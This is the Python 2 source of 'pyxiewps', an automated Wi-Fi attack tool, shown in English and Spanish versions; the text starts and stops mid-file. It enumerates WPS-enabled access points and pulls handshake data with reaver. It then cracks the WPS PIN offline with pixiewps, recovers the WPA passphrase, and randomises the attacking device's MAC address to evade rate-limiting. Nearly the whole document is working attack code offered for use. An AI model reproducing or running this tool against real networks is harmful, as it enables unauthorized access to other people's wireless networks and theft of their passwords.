    returns the  pids of the program to kill all the process tree
    """
    
    proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE)
    stdout = proc.communicate()[0]
    return [int(p) for p in stdout.split()]

  def mac_changer(self):
    """
    Change the device MAC if it's blocked by the AP
    """
    
    print INFO + "Changing MAC address of the device..."
    system('ifconfig %s down' %c.IFACE_MON)
    mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON])
    mac = mac.split('\n')[2]
    mac = sub('New       MAC\: ','',mac.strip())
    mac = sub(' \(unknown\)','',mac)
    system('ifconfig %s up' %c.IFACE_MON)
    print INFO + "New MAC: %s%s" %(INPUT,mac.upper())
    
  def exit_limpio(self):
    """
    Clean before quiting
    """
    if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'):
      print OPCION + "The pixiewps and reaver files are no longer needed"
      print "      and they live in the root home directory,"
      choice = raw_input("%sDo you wish to erase them? [Y/n]" %INPUT)
      if choice in CHOICES_YES:
	system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/')
    if c.IS_MON:
      c.set_iface("DOWN")
    if USE_REAVER:
      system('rm -f /usr/local/etc/reaver/*.wpc') # Removes the reaver AP session
    exit()

class Config():
  """
  Interface configuration functions and other stuff
  """
  
  IFACE_MON = 'caca'
  IFACE = 'caca'
  IS_MON = False
  
  def program_exists(self, programa):
    """
    Check the program fot its existance
    """

    cmd = "which " + programa
    output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    output = output.communicate()[0]

    if output != "":
      return True    # Exists
    else:
      return False   # Nope

  def get_uid(self):
    """
    Returns the user ID
    """
    
    uid = subprocess.check_output(['id','-u']).strip()
    return uid
  
  def check_iface(self):
    """
    Check for any monitor interfaces already set.
    """
    
    cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig isn't grepable
    mon = subprocess.check_output(cmd, shell = True).strip()
    if mon != '':
      self.IFACE_MON = mon
      self.IS_MON = True
      return True
    else:
      return False
  
  def get_iface(self):
    """
    If any monitor interfaces are found, returns the wlans.
    If more than onw are found, ask the user to choose.
    If monitor mode is already enable, returns the name.
    """

    if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon'
      cmd = "ifconfig | grep mon | cut -d \' \' -f1"
      mon = subprocess.check_output(cmd, shell = True).strip()
      self.IFACE_MON = mon
      return mon
    else:
      cmd = "ifconfig | grep wlan | cut -d \' \' -f1"
      proc = subprocess.check_output(cmd, shell = True)
      ifaces = proc.strip().split('\n')

      if len(ifaces) == 1 and ifaces[0] == '':
	print ALERTA + "No wireless interfaces were found!"
	print "    Please check if any wireless device in your PC."
	print "    if you are running on a virtual machine"
	print "    go get an USB wireless device."
	exit()
      elif len(ifaces) > 1:
	print INPUT + "Choose the W.Interface: "
	for i in ifaces:
	  print str(ifaces.index(i)) + " >> " + i
	while True:    #Control the input! you bugseeker!
	  try:
	    choice = int(raw_input(INPUT))
	    if choice <= len(ifaces) and choice >= 0:
	      self.IFACE = ifaces[choice]
	      return ifaces[choice]
	      break
	    else:
	      print INPUT + "Number between 0 and %s" %(len(ifaces)-1) #Index error handling
	  except ValueError:
	    print ALERTA + "NUMBER between 0 and %s" %(len(ifaces)-1) #Integeer error handling
	  except KeyboardInterrupt:
	    print 
	    print ALERTA + "Interrupted program!"
	    print 
	    engine.exit_limpio()
      else:
	self.IFACE = ifaces[0]
	return ifaces[0]
  
  def set_iface(self, status):
    """
    Wireless interface driver. Puts it on monitor mode 
    and puts it back on normal mode.
    "status" variable is used only for the sake of readability and it's based
    on the "self.IS_MON" boolean
    """   
    
    if self.IS_MON:
      cmd = 'airmon-ng stop ' + self.get_iface()
      print INFO + 'Restoring %s wireless interface...' %self.IFACE_MON
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.IS_MON = False
      print INFO + 'Done'
    else:
      cmd = 'airmon-ng start ' + self.get_iface()
      print INFO + 'Enabling monitor mode...'
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.check_iface()
      print INFO + "Monitor mode enabled on %s" %self.IFACE
      
  def data_file(self, data):
    """
    Outputs the data into a file
    """
    system('echo DATA >> %s' %OUTPUT_FILE)
    with open(OUTPUT_FILE, 'a+') as f:
      fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0])
      hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2)
      f.write(fecha+' | '+hora+'\n')
      f.writelines(data)
    print INFO + "All data were saved into %s" %OUTPUT_FILE
    
  def get_binarios(self):
    """
    Installs reaver, pixiewps and other stuff
    """
    
    git = 'apt-get -y install git'
    reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng'
    pixie_dep = 'sudo apt-get -y install libssl-dev'
    reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git'
    pixiewps = 'git clone https://github.com/wiire/pixiewps.git'
    aircrack = 'apt-get -y install aircrack-ng'
    if not engine.GIT:
      print INFO + "Installing git..."
      proc4 = system(git)
    if not engine.AIRMON:
      print INFO + "Installing aircrack..."
      proc5 = system(aircrack)
    if not engine.PIXIEWPS:
      print INFO + "Installing pixiewps dependencies..."
      proc2 = system(pixie_dep)
      print INFO + "Downloading pixiewps..."
      proc3 = system(pixiewps)    
    if not engine.REAVER:
      print INFO + "Installing reaver dependencies..."
      proc = system(reaver_dep)
      print INFO + "Downloading reaver..."
      proc1 = system(reaver)
    if path.isdir('pixiewps') and not engine.PIXIEWPS:
      print INFO + "Installing pixiewps..."
      system('cd pixiewps/src && make && make install')
      print INFO + "Done"
    if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER:
      print INFO + "Installing reaver..."
      system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install')
      print INFO + "Done"
    engine.check(check_again = True)

  def check_reaver_version(self):
    """
    Returns reaver version if it's installed
    """
    
    output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    output = output.communicate()
    if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]:
      return '1.5.2'
    elif output[0] != '':
      return output[0][9:12]
    elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]:
      return '1.5.2'
    elif output[1] != '':
      return output[1][9:12]

class Attack():
  """
  Attack functions
  """
  
  def get_wps_aps(self):
    """
    Enumerates any WPS-active APs
    Goes to get_reaver_info
    """

    print INFO + "Enumerating WPS-active APs..."
    cmd = 'wash -i %s -P' %(c.IFACE_MON)
    if WASH_CHANNEL != '':
      cmd = cmd + ' -c %d' %WASH_CHANNEL
    lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME)
    lista_provisoria = []
    ultimo = len(lista_aps)-1
    for linea in lista_aps:             # Some wash output glitches are often found
      if '|' in linea:                  # this handles theese glitches
	lista_provisoria.append(linea)  #
    lista_aps = lista_provisoria        #
    if lista_aps == []:
      print
      print ALERTA + "No WPS-active APs were found."
      print
      if not FOREVER:
	engine.exit_limpio()
    else:
      for_fill = lista_aps                                              #\
      essids = []                                                       #|
      for line in for_fill:                                             #|- Formats the list
	line = line.split('|')                                          #|
	essids.append(line[5].strip())                                  #|
      fill = len(max(essids))                                           #/
      print INFO + "The following WPS-active APs were found:"
      for linea in lista_aps:
	linea = linea.split('|')
	fill_line = fill - len(linea[5].strip())
	print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Channel: ' + linea[1] + ' || WPS locked?: ' + linea[4]
      if USE_REAVER:
	while True:
	  try:
	    if len(lista_aps) != 1 and PROMPT_APS: 
	      choice = int(raw_input("%sIndex of the AP: " %INPUT))
	      provisoria = []
	      provisoria.append(lista_aps[choice])
	      lista_aps = provisoria
	      break
	    else:
	      break
	  except KeyboardInterrupt:
	    print
	    engine.exit_limpio()
	    break
	  except ValueError:
	    print ALERTA + "Number between 0 and %d" %ultimo
	if not OVERRIDE and path.isfile('pyxiewpsdata.txt'):
	  coincidencias = []
	  pin_correspondiente = []
	  with open('pyxiewpsdata.txt') as f:
	    ya_sacados = f.readlines()
	  if len(ya_sacados) > 1:
	    ya_sacados.reverse() # reverts the list so it takes the newest pin
	    for target in lista_aps: # if any pin were changed by the AP administrator
	      for line in ya_sacados[1:]:
		if target.split('|')[5].strip() == line.strip():
		  coincidencias.append(target)
		  pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip())
	    for i in set(coincidencias):
	      print OPCION + "The %s pin was already found!" %i.split('|')[5].strip()
	      print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)]
	      print OPCION + "Do you want to skip this AP? [Y/n]: "
	      try:
		choice = raw_input("%s Enter to skip: " %INPUT)
	      except KeyboardInterrupt:
		print
		engine.exit_limpio()
	      if choice in CHOICES_YES:
		lista_aps.remove(i)
	for linea in lista_aps:
	  args = engine.parse_wash(linea.strip())
	  self.get_reaver_info(args[0],args[1],args[2])
	if not FOREVER:
	  engine.exit_limpio()
	else:
	  pass
  
  def get_reaver_info(self, bssid, canal, essid):
    """
    Gets all the vital information from the AP
    PKR, PKE, HASH1, HASH2, AUTHKEY
    it's in the get_wps_aps for-loop
    """

    print INFO + "Fetching information from %s using reaver..." %essid
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME)
    data = engine.parse_reaver(output)
    if data == 'noutput':
      print
      print ALERTA + "Couldn\'t retrieve any information from the AP."
      print ALERTA + "Try with a greater time using the -t argument"
      print "    and if it doesn\'t work out try to get a better signal."
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'more time please':
      print
      print ALERTA + "The program retrieved some information from the AP but"
      print "    not all of it. Set a greater tiem to fetch the information"
      print "    with the -t argument. 6 seconds by default"
      print
    elif data == 'ap rate limited':
      print
      print ALERTA + "The AP doesn\'y like you!"
      print "    That\'s why reaver couldn\'t retrieve any information"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'shit':
      print
      print "Choose a reaver session option when asked for it."
      if not FOREVER:
	engine.exit_limpio()
    else:
      print INFO + "Success!. All the needed information were found"
      for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n',
      'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n',
      'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n',
      'MANUFACTURER: ' + data[5] + '\n','MODEL: ' + data[6] + '\n','MODEL NUMBER: ' + data[7] + '\n']
      if PRINT_REAVER:
	print
	for linea in for_file:
	  print DATA + linea.strip()
	print
      if OUTPUT and not USE_PIXIEWPS:
	for_file.append('-'*40+'\n')
	c.data_file(for_file)
      if USE_PIXIEWPS:
	self.pixie_attack(data,for_file,canal)

  def pixie_attack(self,data,for_file,canal):
    """
    Tries to find the WPS pin using pixiewps
    """
    
    ESSID = data[10]
    BSSID = data[11]
    PKE = data[0]
    PKR = data[1]
    HASH1 = data[2]
    HASH2 = data[3]
    AUTHKEY = data[4]
    E_NONCE = data[8]
    R_NONCE = data[9]
    
    cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE]
    cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S']
    cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S']
    pin = ''
    cmd_list = [cmd, cmd1, cmd2]
    output = []
    for command in cmd_list:
      try:
	output = subprocess.check_output(command)
	output = output.strip().split('\n')
	for linea in output:
	  if '[+] WPS pin:' in linea:
	    result = compile('\d+')
	    pin = result.search(linea).group(0)
	    break
	  else:
	    pass
      except:             #Pixiewps error handling
	pass
      if pin != '': break
    if pin != '' and len(pin) == 8:
      print INFO + "WPS pin found!"
      print "\t" + INPUT + pin
      for_file.append('WPS pin: '+pin+'\n')
      system('echo >> pyxiewpsdata.txt')
      with open('pyxiewpsdata.txt','a+') as f:
	f.write(ESSID+'\n')
	f.write(pin)
    elif pin == '':
      print
      print ALERTA + "WPS pin was not found."
      print "    Probably, the AP is not vulnerable to this attack"
      print "    and never will. Move on."
      print
      
    if GET_PASSWORD and pin != '':
      self.get_password(for_file, BSSID, pin, canal)
    elif OUTPUT:
      for_file.append('-'*40+'\n')
      c.data_file(for_file)
  
  def get_password(self, for_file, BSSID, pin, canal):
    """
    Once the WPS pin was found, ries to get the password.
    """
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4))
    password = engine.parse_reaver(output, pin_encontrado = True)
    if password == 'no password':
      print
      print ALERTA + "Can't get the password right now but you can"
      print "    use the WPS pin to access the wireless network."
      print
    else:
      print INFO + "Password found!"
      print '\t' + INPUT + password.strip()
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)

if __name__ == '__main__':
  arg_parser()
  banner()
  try:
    c = Config()
    engine = Engine()
    engine.check()
  except KeyboardInterrupt, EOFError:
    print
    print ALERTA + "Interrupted program!"
    print    
    engine.exit_limpio()

pyxiewps-ES.py Script :

from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
WASH = 'wash'
AIRMON = 'airmon-ng'
MACCHANGER = 'macchanger'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # Verde
ALERTA = '\033[31m[!] \033[0m' # Rojo
INPUT = '\033[34m[>] \033[0m'  # Azul
DATA = '\033[33m[DATA] \033[0m'  #Amarillo
OPCION = '\033[33m[!!!] \033[0m' #Amarillo
USE_REAVER = False   # Si False usa wash y termina.
USE_PIXIEWPS = False # Intenta averiguar el pin WPS con pixiewps
WASH_TIME = 11       # Tiempo para que wash recopile APs con WPS
WASH_CHANNEL = ''    # Todos
REAVER_TIME = 6      # Tiempo para que reaver recopile la informacion
CHOICES_YES = ['S', 's', '', 'si', 'Si']
CHOICES_NOPE = ['N', 'n', 'no', 'No']
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = False

def banner():
  """
  Imprime el banner en la pantalla
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tHecho por jgilhutton"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tMacchanger por Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc."
  print
  
def arg_parser():
  """
  Detecta los argumentos y devuelve la ayuda si hay algun problema
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_REAVER
  global USE_PIXIEWPS
  global WASH_TIME
  global REAVER_TIME
  global WASH_CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  H = ['-h','--help']
  binary_flags = ['-w','-t','-c','-o']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-r' or arg == '--use-reaver':
      USE_REAVER = True
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-w' or arg == '--wash-time':
      try:
	WASH_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-t' or arg == '--tiempo':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-c' or arg == '--canal':
      try:
	WASH_CHANNEL = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      OUTPUT_FILE = argv[argv.index(arg)+1]
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-O' or arg == '--override':
      OVERRIDE = True
    else:
      help()

def help():
  """
  Muestra la ayuda y sale
  """
  
  print
  print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f"
  print "script --use-reaver --use-pixie --wash-time 15 --tiempo 6 --canal 7 --prompt --output file.txt -h"
  print
  print '\t-r --use-reaver          Captura la informacion del AP con Reaver.              [False]'
  print '\t-p --use-pixie           Una vez que captura la informacion con Reaver          [False]'
  print '\t                         intenta sacar el pin WPS del router.'
  print '\t-w --wash-time [tiempo]  Setea el tiempo que va a usar para enumerar los        [15]'
  print '\t                         ap con WPS.'
  print '\t-t --tiempo [tiempo]     Setea el tiempo que va a usar para recolectar la       [6]'
  print '\t                         informacion del AP.'
  print '\t-c --canal [canal]       Proporciona el canal en el que escucha para enumerar'
  print '\t                         los AP con WPS. Si no se usa, se escanean todos los canales.'
  print '\t-P --prompt              Si se encuentra mas de un AP con WPS, preguntar a cual [False]'
  print '\t                         se quiere atacar.'
  print '\t-o --output [archivo]    Graba los datos en un archivo de texto.'
  print '\t-f --pass                Si se tiene exito al averiguar el pin WPS, tambien'
  print '\t                         tratar de averiguar la clave WPA.'
  print '\t-q --quiet               No muestra la informacion recopilada.'
  print '\t-F --forever             Corre el programa indefinidamente hasta que se lo interrumpa'
  print '\t-O --override            Vuelve a atacar APs con pines que ya han sido conseguidos'
  print '\t                         sin preguntar.'
  print
  exit()
  
class Engine():
  """
  Aca se chequea todo, y se empieza el programa
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.WASH = True
    self.AIRMON = True
    self.MACCHANGER = True
    self.GIT = True
  
  def start(self):
    """
    Crea el colchon para los programas necesarios
    """
    chdir('/root/')
    if not c.check_iface(): # check_iface devuelve True si hay alguna ifaz en mon previamente
      c.set_iface("UP")
    else:
      print INFO + "Se encontro una interfaz en modo monitor: %s" %c.IFACE_MON
      choice = raw_input("%sDesea usar esta interfaz? [S/n] " %INPUT)
      if choice in CHOICES_YES:
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    if FOREVER:
      while True:
	attack = Attack()
	attack.get_wps_aps()
    else:
      attack = Attack()
      attack.get_wps_aps()
      engine.exit_limpio()
    
  def parse_wash(self, linea):
    """
    Analiza el output del wash
    linea viene sin el salto de linea, separando las cosas con "|"
    Devuelve bssid, canal, essid e instancia de Target
    """
    
    linea = linea.split('|')
    bssid = linea[0] # MAC
    canal = linea[1]
    essid = linea[-1]
    return [bssid, canal, essid]
    
  def parse_reaver(self, output, pin_encontrado = False):
    """
    Analiza el output del reaver
    Saca el pkr, pke, hash1 y 2, enonce, rnonce, authkey, fabricante y modelo
    y los devuelve
    """

    if pin_encontrado:
      password = ''
      for linea in output:
	if '[+] WPA PSK: ' in linea:
	  password = sub('\[\+\] WPA PSK: ','',linea)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlista = []
    lista_final = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'cacota'
      
    for linea in output:
      if 'E-Nonce' in linea:
	has_something = True
      elif 'E-Hash2' in linea:
	lista_final = output[0:output.index(linea)+1] # Trunca el output hasta el hash2
	is_complete = True
	break
      elif 'Detected AP rate limiting' in linea:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for linea in lista_final:
      if 'E-Nonce' in linea:
	E_NONCE = sub('\[P\] E-Nonce: ','',linea)
      elif 'R-Nonce' in linea:
	R_NONCE = sub('\[P\] R-Nonce: ','',linea)
      elif 'PKR' in linea:
	PKR = sub('\[P\] PKR: ','',linea)
      elif 'PKE' in linea:
	PKE = sub('\[P\] PKE: ','',linea)
      elif 'E-Hash1' in linea:
	HASH1 = sub('\[P\] E-Hash1: ','',linea)
      elif 'E-Hash2' in linea:
	HASH2 = sub('\[P\] E-Hash2: ','',linea)
      elif 'AuthKey' in linea:
	AUTHKEY = sub('\[P\] AuthKey: ','',linea)
      elif 'Manufacturer' in linea:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea)
      elif 'Model Name' in linea:
	MODEL = sub('\[P\] WPS Model Name: ','',linea)
      elif 'Model Number' in linea:
	NUMBER = sub('\[P\] WPS Model Number: ','',linea)
      elif '[+] Associated with ' in linea:
	ESSID = sub('\(ESSID\: ','|',linea)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in linea:
	BSSID = sub('\[\+\] Waiting for beacon from ','',linea)
      else:
	pass
    uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlista
  
  def check(self, check_again = False):
    """
    Chequea dependencias, el usuario que ejecuta el programa y otras weas
    """
    
    if c.get_uid() != '0':
      print ALERTA + 'Necesita ejecutar este programa como superusuario'
      exit()

    ### Programas
    if c.program_exists(MACCHANGER):
      self.MACCHANGER = True
    elif not check_again:
      print ALERTA + 'macchanger no esta instalado pero no es vital para el programa.'
      print '    Algunos APs bloquean la MAC del dispositivo con el que se ataca y'
      print '    cambiar la MAC es una buena solucion para desviar el problema.'
      print '    Si no se tiene macchanger el programa fallara en recolectar la informacion.'
      self.MACCHANGER = False
    if c.program_exists(REAVER):
      version = c.check_reaver_version()
      if version == '1.5.2':
	self.REAVER = True
      else:
	print ALERTA + "La version de reaver instalada no es la correcta"
	self.REAVER = False
    elif not check_again:
      print ALERTA + 'reaver no esta instalado'
      self.REAVER = False
    if c.program_exists(PIXIEWPS):
      self.PIXIEWPS = True
    elif not check_again:
      print ALERTA + 'pixiewps no esta instalado'
      self.PIXIEWPS = False
    if c.program_exists(WASH):
      self.WASH = True
    elif not check_again:
      print ALERTA + 'wash no esta instalado'
      self.WASH = False
    if c.program_exists(AIRMON):
      self.AIRMON = True
    elif not check_again:
      print ALERTA + 'airmon-ng no esta instalado'
      self.AIRMON = False
    if c.program_exists(GIT):
      self.GIT = True
    elif not check_again:
      self.GIT = False
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again:
      print INFO + "Todos los programas se instalaron correctamente."
      raw_input("%sPresione enter para continuar" %INPUT)
      print INFO + "Empezando el ataque..."
    elif check_again:
      print
      print ALERTA + "No se pudieron instalar algunos prorgamas."
      print "    Revise manualmente las dependecias necesitadas"
      print "    y luego de instalarlas, ejecute otra vez el programa."
      print
      exit()
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS:
      pass
    else:
      print ALERTA + "Necesita tener todos los programas necesarios."
      print INPUT + "Las dependencias son:"
      print "\tbuild-essential"
      print "\tlibpcap-dev"
      print "\tsqlite3"
      print "\tlibsqlite3-dev"
      print "\taircrack-ng"
      print "\tlibssl-dev"
      choice = raw_input("%sDesea que instalarlas ahora [S/n]?" %INPUT)
      if choice in CHOICES_YES:
	c.get_binarios()
      else:
	exit()
    
    ###Todo en orden...
    engine.start()

  def run(self, cmd, shell = False, kill_tree = True, timeout = -1):
    """
    Ejecuta un comando durante un tiempo determinado que,
    transcurrido, es terminado. Devuelve el stdout del proc.
    output es una lista con las lineas sin strip().
    """

    class Alarm(Exception):
      pass
    def alarm_handler(signum, frame):
      raise Alarm
    if timeout != -1:
      signal(SIGALRM, alarm_handler) # Empieza a correr el tiempo
      alarm(timeout)                 # Si se acaba levanta una alarma

    proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE)
    output = []
    try:
      for line in iter(proc.stdout.readline, ''):
	output.append(line)
      if timeout != -1:
	alarm(0)
    except Alarm:         # El tiempo acaba y se produce una alarma
      pids = [proc.pid]   # Se matan los procesos relacionados con proc.
      if kill_tree:
	pids.extend(self.get_process_children(proc.pid))
      for pid in pids:   # Es posible que el proceso haya muerto antes de esto
	try:             # por eso se maneja el error con el except OSError
	  kill(pid, SIGKILL)
	except OSError:
	  pass
      return output
    return output

  def get_process_children(self, pid):
    """
    Devuelve los pids del programa que se haya abierto para
    matar todo el arbol de procesos child
    """
    
    proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE)
    stdout = proc.communicate()[0]
    return [int(p) for p in stdout.split()]

  def mac_changer(self):
    """
    Cambia la MAC del dispositivo ante un bloqueo del AP
    """
    
    print INFO + "Cambiando direccion MAC del dispositivo..."
    system('ifconfig %s down' %c.IFACE_MON)
    mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON])
    mac = mac.split('\n')[2]
    mac = sub('New       MAC\: ','',mac.strip())
    mac = sub(' \(unknown\)','',mac)
    system('ifconfig %s up' %c.IFACE_MON)
    print INFO + "Se cambio la MAC a una nueva: %s%s" %(INPUT,mac.upper())
    
  def exit_limpio(self):
    """
    limpia las cosas antes de terminar el programa
    """
    if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'):
      print OPCION + "Los archivos para instalar pixiewps y reaver ya no son necesarios"
      print "      y se encuentran en la carpeta home del usuario root"
      choice = raw_input("%sDesea borrarlos? [S/n]" %INPUT)
      if choice in CHOICES_YES:
	system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/')
    if c.IS_MON:
      c.set_iface("DOWN")
    if USE_REAVER:
      system('rm -f /usr/local/etc/reaver/*.wpc')
    exit()

class Config():
  """
  Funciones de configuracion de interfaces.
  """
  
  IFACE_MON = 'caca'
  IFACE = 'caca'
  IS_MON = False
  
  def program_exists(self, programa):
    """
    Chequea si existe el programa que se le
    pasa en el argumento
    """

    cmd = "which " + programa
    output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    output = output.communicate()[0]

    if output != "":
      return True    # Existe
    else:
      return False   # No existe

  def get_uid(self):
    """
    Devuelve el usuario que ejecuta el script
    """
    
    uid = subprocess.check_output(['id','-u']).strip()
    return uid
  
  def check_iface(self):
    """
    Se fija si hay alguna interfaz en modo monitor
    para no crear otra interfaz al pedo
    """
    
    cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig no es grepable
    mon = subprocess.check_output(cmd, shell = True).strip()
    if mon != '':
      self.IFACE_MON = mon
      self.IS_MON = True
      return True
    else:
      return False
  
  def get_iface(self):
    """
    Si no hay interfaces en modo monitor, devuelve las wlans.
    Si hay mas de una, pregunta cual se quiere usar.
    Si la interfaz ya esta en modo monitor, devuelve el nombre.
    """

    if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon'
      cmd = "ifconfig | grep mon | cut -d \' \' -f1"
      mon = subprocess.check_output(cmd, shell = True).strip()
      self.IFACE_MON = mon
      return mon
    else:
      cmd = "ifconfig | grep wlan | cut -d \' \' -f1"
      proc = subprocess.check_output(cmd, shell = True)
      ifaces = proc.strip().split('\n')

      if len(ifaces) == 1 and ifaces[0] == '':
	print ALERTA + "No hay interfaces wireless!"
	print "    Asegurese de que posee un dispositivo wireless."
	print "    Si esta corriendo en una maquina virtual debe"
	print "    adquirir un modulo WiFi USB."
	exit()
      elif len(ifaces) > 1:
	print INPUT + "Seleccione interfaz: "
	for i in ifaces:
	  print str(ifaces.index(i)) + " >> " + i
	while True:    #Evita que le mandes fruta
	  try:
	    choice = int(raw_input(INPUT))
	    if choice <= len(ifaces) and choice >= 0:
	      self.IFACE = ifaces[choice]
	      return ifaces[choice]
	      break
	    else:
	      print INPUT + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Maneja el error de indice
	  except ValueError:
	    print ALERTA + "Inserte un numero entre 0 y %s" %(len(ifaces)-1) #Por si le mandas letras y no #s
	  except KeyboardInterrupt:
	    print 
	    print ALERTA + "Programa interrumpido"
	    print 
	    engine.exit_limpio()
      else:
	self.IFACE = ifaces[0]
	return ifaces[0]
  
  def set_iface(self, status):
    """
    Maneja la interfaz inalambrica. La pone en modo monitor
    y la repone al modo normal.
    La variable "status" esta solo para mejorar la lectura
